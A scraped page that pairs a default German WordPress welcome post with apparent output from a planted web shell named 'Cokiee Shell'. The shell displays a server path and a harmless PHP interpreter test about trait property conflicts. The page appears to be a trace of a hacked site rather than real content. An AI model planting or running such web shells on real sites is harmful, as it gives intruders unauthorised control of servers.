Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/traits/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/traits/property001.phpt |
--TEST-- Potentially conflicting properties should result in a strict notice. Property use is discorage for traits that are supposed to enable maintainable code reuse. Accessor methods are the language supported idiom for this. --FILE-- <?php error_reporting(E_ALL); trait THello1 { private $foo; } trait THello2 { private $foo; } echo "PRE-CLASS-GUARD-TraitsTest\n"; error_reporting(E_ALL & ~E_STRICT); // ensuring that it is only for E_STRICT class TraitsTest { use THello1; use THello2; } error_reporting(E_ALL | E_STRICT); echo "PRE-CLASS-GUARD-TraitsTest2\n"; class TraitsTest2 { use THello1; use THello2; } var_dump(property_exists('TraitsTest', 'foo')); var_dump(property_exists('TraitsTest2', 'foo')); ?> --EXPECTF-- PRE-CLASS-GUARD-TraitsTest PRE-CLASS-GUARD-TraitsTest2 bool(true) bool(true)
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare